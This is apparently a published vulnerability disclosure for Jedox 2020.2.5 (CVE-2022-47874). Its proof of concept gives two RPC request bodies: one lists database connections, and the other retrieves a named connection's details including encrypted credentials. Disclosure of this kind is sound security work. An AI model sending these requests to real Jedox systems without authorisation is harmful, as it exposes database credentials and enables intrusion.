                # Exploit Title: Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47874


Introduction
=================
Improper access controls in `/tc/rpc` allows remote authenticated users to view details of database connections via the class `com.jedox.etl.mngr.Connections` and the method `getGlobalConnection`. To exploit the vulnerability, the attacker must know the name of the database connection.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) List all available database connections via `conn::ls` (see also: CVE-2022-47879):

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "conn",
      "ls",
      [
        null,
        false,
        true,
        [
          "type",
          "active",
          "description"
        ]
      ]
    ]
  ]

2) Retrieve details of a database connection (specify connection name via CONNECTION) including encrypted credentials using the Java RPC function `com.jedox.etl.mngr.Connection::getGlobalConnection`:

  PATH: /tc/rpc
  METHOD: POST
  BODY:
  [
    [
      "com.jedox.etl.mngr.Connections",
      "getGlobalConnection",
      [
        "<CONNECTION>"
      ]
    ]
  ]
